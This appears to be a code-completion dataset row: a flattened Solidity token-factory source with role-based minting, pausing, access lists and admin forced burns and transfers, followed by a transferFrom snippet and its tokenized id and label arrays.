AddressEnabled(_address); } function disableAddress(address _address) public onlyOwner { authorized[_address] = false; emit AddressDisabled(_address); } function isAuthorized(address _address) public view returns (bool) { return authorized[_address]; } } // File: contracts/access/TokenAccessList.sol pragma solidity ^0.5.8; contract TokenAccessList is Ownable { string public identifier; mapping(address => bool) private accessList; event WalletEnabled(address indexed wallet); event WalletDisabled(address indexed wallet); constructor(string memory _identifier) public { identifier = _identifier; } function enableWallet(address _wallet) public onlyOwner { require(_wallet != address(0), "Invalid wallet"); accessList[_wallet] = true; emit WalletEnabled(_wallet); } function disableWallet(address _wallet) public onlyOwner { accessList[_wallet] = false; emit WalletDisabled(_wallet); } function enableWalletList(address[] calldata _walletList) external onlyOwner { for(uint i = 0; i < _walletList.length; i++) { enableWallet(_walletList[i]); } } function disableWalletList(address[] calldata _walletList) external onlyOwner { for(uint i = 0; i < _walletList.length; i++) { disableWallet(_walletList[i]); } } function checkEnabled(address _wallet) public view returns (bool) { return _wallet == address(0) || accessList[_wallet]; } function checkEnabledList(address _w1, address _w2, address _w3) external view returns (bool) { return checkEnabled(_w1) && checkEnabled(_w2) && checkEnabled(_w3); } } // File: openzeppelin-solidity/contracts/token/ERC20/IERC20.sol pragma solidity ^0.5.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see `ERC20Detailed`. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a `Transfer` event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through `transferFrom`. This is * zero by default. * * This value changes when `approve` or `transferFrom` are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * > Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an `Approval` event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a `Transfer` event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to `approve`. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20Detailed.sol pragma solidity ^0.5.0; /** * @dev Optional functions from the ERC20 standard. */ contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for `name`, `symbol`, and `decimals`. All three of * these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. * * > Note that this information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * `IERC20.balanceOf` and `IERC20.transfer`. */ function decimals() public view returns (uint8) { return _decimals; } } // File: openzeppelin-solidity/contracts/math/SafeMath.sol pragma solidity ^0.5.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol pragma solidity ^0.5.0; /** * @dev Implementation of the `IERC20` interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using `_mint`. * For a generic mechanism see `ERC20Mintable`. * * *For a detailed writeup see our guide [How to implement supply * mechanisms](https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226).* * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an `Approval` event is emitted on calls to `transferFrom`. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard `decreaseAllowance` and `increaseAllowance` * functions have been added to mitigate the well-known issues around setting * allowances. See `IERC20.approve`. */ contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev See `IERC20.totalSupply`. */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev See `IERC20.balanceOf`. */ function balanceOf(address account) public view returns (uint256) { return _balances[account]; } /** * @dev See `IERC20.transfer`. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(msg.sender, recipient, amount); return true; } /** * @dev See `IERC20.allowance`. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See `IERC20.approve`. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 value) public returns (bool) { _approve(msg.sender, spender, value); return true; } /** * @dev See `IERC20.transferFrom`. * * Emits an `Approval` event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of `ERC20`; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `value`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount)); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to `approve` that can be used as a mitigation for * problems described in `IERC20.approve`. * * Emits an `Approval` event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to `approve` that can be used as a mitigation for * problems described in `IERC20.approve`. * * Emits an `Approval` event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue)); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to `transfer`, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a `Transfer` event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a `Transfer` event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destoys `amount` tokens from `account`, reducing the * total supply. * * Emits a `Transfer` event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 value) internal { require(account != address(0), "ERC20: burn from the zero address"); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an `Approval` event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 value) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = value; emit Approval(owner, spender, value); } /** * @dev Destoys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See `_burn` and `_approve`. */ function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, msg.sender, _allowances[account][msg.sender].sub(amount)); } } // File: openzeppelin-solidity/contracts/access/Roles.sol pragma solidity ^0.5.0; /** * @title Roles * @dev Library for managing addresses assigned to a Role. */ library Roles { struct Role { mapping (address => bool) bearer; } /** * @dev Give an account access to this role. */ function add(Role storage role, address account) internal { require(!has(role, account), "Roles: account already has role"); role.bearer[account] = true; } /** * @dev Remove an account's access to this role. */ function remove(Role storage role, address account) internal { require(has(role, account), "Roles: account does not have role"); role.bearer[account] = false; } /** * @dev Check if an account has this role. * @return bool */ function has(Role storage role, address account) internal view returns (bool) { require(account != address(0), "Roles: account is the zero address"); return role.bearer[account]; } } // File: contracts/access/roles/BurnerRole.sol pragma solidity ^0.5.8; contract BurnerRole { using Roles for Roles.Role; event BurnerAdded(address indexed account); event BurnerRemoved(address indexed account); Roles.Role private _burners; constructor () internal { _addBurner(msg.sender); } modifier onlyBurner() { require(isBurner(msg.sender), "BurnerRole: caller does not have the Burner role"); _; } function isBurner(address account) public view returns (bool) { return _burners.has(account); } function addBurner(address account) public onlyBurner { _addBurner(account); } function renounceBurner() public onlyBurner { _removeBurner(msg.sender); } function _addBurner(address account) internal { _burners.add(account); emit BurnerAdded(account); } function _removeBurner(address account) internal { _burners.remove(account); emit BurnerRemoved(account); } } // File: contracts/tokens/ERC20BurnableAdmin.sol pragma solidity ^0.5.8; /** * @dev Extension of `ERC20` allows a centralized owner to burn users' tokens * * At construction time, the deployer of the contract is the only burner. */ contract ERC20BurnableAdmin is ERC20, BurnerRole { event ForcedBurn(address requester, address wallet, uint256 value); /** * @dev new function to burn tokens from a centralized owner * @param _who The address which will be burned. * @param _value The amount of tokens to burn. * @return A boolean that indicates if the operation was successful. */ function forcedBurn(address _who, uint256 _value) public onlyBurner returns (bool) { _burn(_who, _value); emit ForcedBurn(msg.sender, _who, _value); return true; } } // File: openzeppelin-solidity/contracts/access/roles/PauserRole.sol pragma solidity ^0.5.0; contract PauserRole { using Roles for Roles.Role; event PauserAdded(address indexed account); event PauserRemoved(address indexed account); Roles.Role private _pausers; constructor () internal { _addPauser(msg.sender); } modifier onlyPauser() { require(isPauser(msg.sender), "PauserRole: caller does not have the Pauser role"); _; } function isPauser(address account) public view returns (bool) { return _pausers.has(account); } function addPauser(address account) public onlyPauser { _addPauser(account); } function renouncePauser() public { _removePauser(msg.sender); } function _addPauser(address account) internal { _pausers.add(account); emit PauserAdded(account); } function _removePauser(address account) internal { _pausers.remove(account); emit PauserRemoved(account); } } // File: openzeppelin-solidity/contracts/lifecycle/Pausable.sol pragma solidity ^0.5.0; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ contract Pausable is PauserRole { /** * @dev Emitted when the pause is triggered by a pauser (`account`). */ event Paused(address account); /** * @dev Emitted when the pause is lifted by a pauser (`account`). */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. Assigns the Pauser role * to the deployer. */ constructor () internal { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!_paused, "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(_paused, "Pausable: not paused"); _; } /** * @dev Called by a pauser to pause, triggers stopped state. */ function pause() public onlyPauser whenNotPaused { _paused = true; emit Paused(msg.sender); } /** * @dev Called by a pauser to unpause, returns to normal state. */ function unpause() public onlyPauser whenPaused { _paused = false; emit Unpaused(msg.sender); } } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20Pausable.sol pragma solidity ^0.5.0; /** * @title Pausable token * @dev ERC20 modified with pausable transfers. */ contract ERC20Pausable is ERC20, Pausable { function transfer(address to, uint256 value) public whenNotPaused returns (bool) { return super.transfer(to, value); } function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) { return super.transferFrom(from, to, value); } function approve(address spender, uint256 value) public whenNotPaused returns (bool) { return super.approve(spender, value); } function increaseAllowance(address spender, uint addedValue) public whenNotPaused returns (bool) { return super.increaseAllowance(spender, addedValue); } function decreaseAllowance(address spender, uint subtractedValue) public whenNotPaused returns (bool) { return super.decreaseAllowance(spender, subtractedValue); } } // File: contracts/access/roles/CreatorRole.sol pragma solidity ^0.5.8; contract CreatorRole { using Roles for Roles.Role; event CreatorAdded(address indexed account); event CreatorRemoved(address indexed account); Roles.Role private _creators; constructor () internal { _addCreator(msg.sender); } modifier onlyCreator() { require(isCreator(msg.sender), "CreatorRole: caller does not have the Creator role"); _; } function isCreator(address account) public view returns (bool) { return _creators.has(account); } function _addCreator(address account) internal { _creators.add(account); emit CreatorAdded(account); } function _removeCreator(address account) internal { _creators.remove(account); emit CreatorRemoved(account); } } // File: openzeppelin-solidity/contracts/access/roles/MinterRole.sol pragma solidity ^0.5.0; contract MinterRole { using Roles for Roles.Role; event MinterAdded(address indexed account); event MinterRemoved(address indexed account); Roles.Role private _minters; constructor () internal { _addMinter(msg.sender); } modifier onlyMinter() { require(isMinter(msg.sender), "MinterRole: caller does not have the Minter role"); _; } function isMinter(address account) public view returns (bool) { return _minters.has(account); } function addMinter(address account) public onlyMinter { _addMinter(account); } function renounceMinter() public { _removeMinter(msg.sender); } function _addMinter(address account) internal { _minters.add(account); emit MinterAdded(account); } function _removeMinter(address account) internal { _minters.remove(account); emit MinterRemoved(account); } } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol pragma solidity ^0.5.0; /** * @dev Extension of `ERC20` that adds a set of accounts with the `MinterRole`, * which have permission to mint (create) new tokens as they see fit. * * At construction, the deployer of the contract is the only minter. */ contract ERC20Mintable is ERC20, MinterRole { /** * @dev See `ERC20._mint`. * * Requirements: * * - the caller must have the `MinterRole`. */ function mint(address account, uint256 amount) public onlyMinter returns (bool) { _mint(account, amount); return true; } } // File: contracts/tokens/ERC20CapEnabler.sol pragma solidity ^0.5.8; /** * @dev Modification of OpenZeppelin's ERC20Capped. Implements a mechanism * to enable and disable cap control, as well as cap modification. */ contract ERC20CapEnabler is ERC20Mintable, CreatorRole { uint256 public cap; bool public capEnabled; event CapEnabled(address sender); event CapDisabled(address sender); event CapSet(address sender, uint256 amount); /** * @dev Enable cap control on minting. */ function enableCap() external onlyCreator { capEnabled = true; emit CapEnabled(msg.sender); } /** * @dev Disable cap control on minting and set cap back to 0. */ function disableCap() external onlyCreator { capEnabled = false; // set cap to 0 cap = 0; emit CapDisabled(msg.sender); } /** * @dev Set a new cap. */ function setCap(uint256 _newCap) external onlyCreator { cap = _newCap; emit CapSet(msg.sender, _newCap); } /** * @dev Overrides mint by checking whether cap control is enabled and * reverting if the token addition to supply will exceed the cap. */ function mint(address account, uint256 value) public onlyMinter returns (bool) { if (capEnabled) require(totalSupply().add(value) <= cap, "ERC20CapEnabler: cap exceeded"); return super.mint(account, value); } } // File: contracts/access/roles/OperatorRole.sol pragma solidity ^0.5.8; contract OperatorRole { using Roles for Roles.Role; event OperatorAdded(address indexed account); event OperatorRemoved(address indexed account); Roles.Role private _operators; constructor () internal { _addOperator(msg.sender); } modifier onlyOperator() { require(isOperator(msg.sender), "OperatorRole: caller does not have the Operator role"); _; } function isOperator(address account) public view returns (bool) { return _operators.has(account); } function addOperator(address account) public onlyOperator { _addOperator(account); } function renounceOperator() public onlyOperator { _removeOperator(msg.sender); } function _addOperator(address account) internal { _operators.add(account); emit OperatorAdded(account); } function _removeOperator(address account) internal { _operators.remove(account); emit OperatorRemoved(account); } } // File: contracts/tokens/ERC20Operator.sol pragma solidity ^0.5.8; /** * @dev Extension of `ERC20` allows a centralized owner to burn users' tokens * * At construction time, the deployer of the contract is the only burner. */ contract ERC20Operator is ERC20, OperatorRole { event ForcedTransfer(address requester, address from, address to, uint256 value); /** * @dev new function to burn tokens from a centralized owner * @param _from address The address which the operator wants to send tokens from * @param _to address The address which the operator wants to transfer to * @param _value uint256 the amount of tokens to be transferred * @return A boolean that indicates if the operation was successful. */ function forcedTransfer(address _from, address _to, uint256 _value) public onlyOperator returns (bool) { _transfer(_from, _to, _value); emit ForcedTransfer(msg.sender, _from, _to, _value); return true; } } // File: contracts/tokens/ERC20AccessList.sol pragma solidity ^0.5.8; /** * ERC20 implementation that optionally allows the setup of a access list, * which may or may not be required by regulators. If a access list is * configured, then the contract starts validating parties. * Only the token creator, represented by the CreatorRole, is allowed * to add and remove the access list */ contract ERC20AccessList is ERC20Pausable, ERC20CapEnabler, ERC20Operator { TokenAccessList public accessList; bool public checkingAccessList; address constant private EMPTY_ADDRESS = address(0); /** * Admin events */ event AccessListSet(address accessList); event AccessListUnset(); modifier hasAccess(address _w1, address _w2, address _w3) { if (checkingAccessList) { require(accessList.checkEnabledList(_w1, _w2, _w3), "AccessList: address not authorized"); } _; } /** * Admin functions */ /** * @dev Sets up the centralized accessList contract * @param _accessList the address of accessList contract. * @return A boolean that indicates if the operation was successful. */ function setupAccessList(address _accessList) public onlyCreator { require(_accessList != address(0), "Invalid access list address"); accessList = TokenAccessList(_accessList); checkingAccessList = true; emit AccessListSet(_accessList); } /** * @dev Removes the accessList * @return A boolean that indicates if the operation was successful. */ function removeAccessList() public onlyCreator { checkingAccessList = false; accessList = TokenAccessList(0x0); emit AccessListUnset(); } /** * @dev Overrides MintableToken mint() adding the accessList validation * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) public onlyMinter hasAccess(_to, EMPTY_ADDRESS, EMPTY_ADDRESS) returns (bool) { return super.mint(_to, _amount); } /** * User functions */ /** * @dev Overrides BasicToken transfer() adding the accessList validation * @param _to The address to transfer to. * @param _value The amount to be transferred. * @return A boolean that indicates if the operation was successful. */ function transfer(address _to, uint256 _value) public whenNotPaused hasAccess(msg.sender, _to, EMPTY_ADDRESS) returns (bool) { return super.transfer(_to, _value); } /** * @dev Overrides BasicToken transfer() adding the accessList validation * @param _to The address to transfer from. * @param _to The address to transfer to. * @param _value The amount to be transferred. * @return A boolean that indicates if the operation was successful. */ function forcedTransfer(address _from, address _to, uint256 _value) public hasAccess(_from, _to, EMPTY_ADDRESS) returns (bool) { return super.forcedTransfer(_from, _to, _value); } /** * @dev Overrides StandardToken transferFrom() adding the accessList validation * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused hasAccess(msg.sender, _from, _to) returns (bool) { return super.transferFrom(_from, _to, _value); } /** * @dev Overrides StandardToken approve() adding the accessList validation * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. * @return A boolean that indicates if the operation was successful. */ function approve(address _spender, uint256 _value) public whenNotPaused hasAccess(msg.sender, _spender, EMPTY_ADDRESS) returns (bool) { return super.approve(_spender, _value); } /** * @dev Overrides StandardToken increaseApproval() adding the accessList validation * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. * @return A boolean that indicates if the operation was successful. */ function increaseAllowance(address _spender, uint _addedValue) public whenNotPaused hasAccess(msg.sender, _spender, EMPTY_ADDRESS) returns (bool) { return super.increaseAllowance(_spender, _addedValue); } /** * @dev Overrides StandardToken decreaseApproval() adding the accessList validation * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. * @return A boolean that indicates if the operation was successful. */ function decreaseAllowance(address _spender, uint _subtractedValue) public whenNotPaused hasAccess(msg.sender, _spender, EMPTY_ADDRESS) returns (bool) { return super.decreaseAllowance(_spender, _subtractedValue); } } // File: contracts/tokens/ControlledToken.sol pragma solidity ^0.5.8; /** * This implementation adds a control layer over the ERC20. There are four roles * (creator, pauser, minter and burner) and the token ownership. Token creator * has powers to add and remove pausers, minters and burners. Creator role is assigned * in the constructor and can only be reassigned by the owner. * The owner has the power to claim roles, as an emergency stop mechanism. */ contract ControlledToken is Ownable, ERC20Detailed, ERC20BurnableAdmin, ERC20AccessList { string public info; constructor(string memory _name, string memory _symbol, uint8 _decimals, string memory _info, address _creator) public ERC20Detailed(_name, _symbol, _decimals) { info = _info; // adds all roles to creator _addCreator(_creator); _addPauser(_creator); _addMinter(_creator); _addBurner(_creator); _addOperator(_creator); // remove all roles from token factory _removeCreator(msg.sender); _removePauser(msg.sender); _removeMinter(msg.sender); _removeBurner(msg.sender); _removeOperator(msg.sender); } /** * Platform owner functions */ /** * @dev claims creator role from an address. * @param _address The address will be removed. */ function claimCreator(address _address) public onlyOwner { _removeCreator(_address); _addCreator(msg.sender); } /** * @dev claims operator role from an address. * @param _address The address will be removed. */ function claimOperator(address _address) public onlyOwner { _removeOperator(_address); _addOperator(msg.sender); } /** * @dev claims minter role from an address. * @param _address The address will be removed. */ function claimMinter(address _address) public onlyOwner { _removeMinter(_address); _addMinter(msg.sender); } /** * @dev claims burner role from an address. * @param _address The address will be removed. */ function claimBurner(address _address) public onlyOwner { _removeBurner(_address); _addBurner(msg.sender); } /** * @dev claims pauser role from an address. * @param _address The address will be removed. */ function claimPauser(address _address) public onlyOwner { _removePauser(_address); _addPauser(msg.sender); } /** * @dev adds new creator. * @param _address The address will be removed. */ function addCreator(address _address) public onlyOwner { _addCreator(_address); } /** * @dev renounces to creator role */ function renounceCreator() public onlyOwner { _removeCreator(msg.sender); } /** * Creator functions */ /** * @dev adds minter role to and address. * @param _address The address will be added. * Needed in case the last minter renounces the role */ function adminAddMinter(address _address) public onlyCreator { _addMinter(_address); } /** * @dev removes minter role from an address. * @param _address The address will be removed. */ function removeMinter(address _address) public onlyCreator { _removeMinter(_address); } /** * @dev adds pauser role to and address. * @param _address The address will be added. * Needed in case the last pauser renounces the role */ function adminAddPauser(address _address) public onlyCreator { _addPauser(_address); } /** * @dev removes pauser role from an address. * @param _address The address will be removed. */ function removePauser(address _address) public onlyCreator { _removePauser(_address); } /** * @dev adds pauser role to and address. * @param _address The address will be added. * Needed in case the last pauser renounces the role */ function adminAddOperator(address _address) public onlyCreator { _addOperator(_address); } /** * @dev removes operator role from an address. * @param _address The address will be removed. */ function removeOperator(address _address) public onlyCreator { _removeOperator(_address); } /** * @dev adds burner role to and address. * @param _address The address will be added. * Needed in case the last burner renounces the role */ function adminAddBurner(address _address) public onlyCreator { _addBurner(_address); } /** * @dev removes burner role fom an address. * @param _address The address will be removed. */ function removeBurner(address _address) public onlyCreator { _removeBurner(_address); } } // File: contracts/TokenFactory.sol pragma solidity ^0.5.8; contract TokenFactory is Authorizable { address[] private tIndex; // token index address[] private alIndex; // access list index event TokenCreated(string name, string symbol, uint8 decimals, string info, address indexed token, uint256 blockNumber, address indexed creator); event AccessListCreated(address indexed accessList, string identifier, uint256 blockNumber, address indexed creator); function createToken(string calldata _name, string calldata _symbol, uint8 _decimals, string calldata _info) external onlyAuthorized { // creates a token address t = address(new ControlledToken(_name, _symbol, _decimals, _info, msg.sender)); // platform owner holds some control over the tokens Ownable(t).transferOwnership(owner()); // add token address to index tIndex.push(t); // log emit TokenCreated(_name, _symbol, _decimals, _info, t, block.number, msg.sender); } function addToken(string calldata _name, string calldata _symbol, uint8 _decimals, string calldata _info, uint256 _blockNumber, address _token, address _owner) external onlyOwner { require(isAuthorized(_owner), "Token owner is not authorized"); tIndex.push(_token); emit TokenCreated(_name, _symbol, _decimals, _info, _token, _blockNumber, _owner); } function createAccessList(string calldata _identifier) external onlyAuthorized { // creates an access list address al = address(new TokenAccessList(_identifier)); // transfers ownership to sender Ownable(al).transferOwnership(msg.sender); // add access list address to index alIndex.push(al); // log emit AccessListCreated(al, _identifier, block.number, msg.sender); } function addAccessList(address _accessList, string calldata _identifier, uint256 _blockNumber, address _owner) external onlyOwner { require(isAuthorized(_owner), "AccessList owner is not authorized"); alIndex.push(_accessList); emit AccessListCreated(_accessList, _identifier, _blockNumber, _owner); } function tokenIndex() external view returns (address[] memory) { return tIndex; } function accessListIndex() external view returns (address[] memory) { return alIndex; } }
* @dev Overrides StandardToken transferFrom() adding the accessList validation @param _from address The address which you want to send tokens from @param _to address The address which you want to transfer to @param _value uint256 the amount of tokens to be transferred/
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused hasAccess(msg.sender, _from, _to) returns (bool) { return super.transferFrom(_from, _to, _value); }
1,454,029
[ 1, 4625, 348, 7953, 560, 30, 380, 632, 5206, 531, 9857, 8263, 1345, 7412, 1265, 1435, 6534, 326, 2006, 682, 3379, 632, 891, 389, 2080, 1758, 1021, 1758, 1492, 1846, 2545, 358, 1366, 2430, 628, 632, 891, 389, 869, 1758, 1021, 1758, 1492, 1846, 2545, 358, 7412, 358, 632, 891, 389, 1132, 2254, 5034, 326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135, 261, 6430, 13, 288, 203, 5411, 327, 2240, 18, 13866, 1265, 24899, 2080, 16, 389, 869, 16, 389, 1132, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, 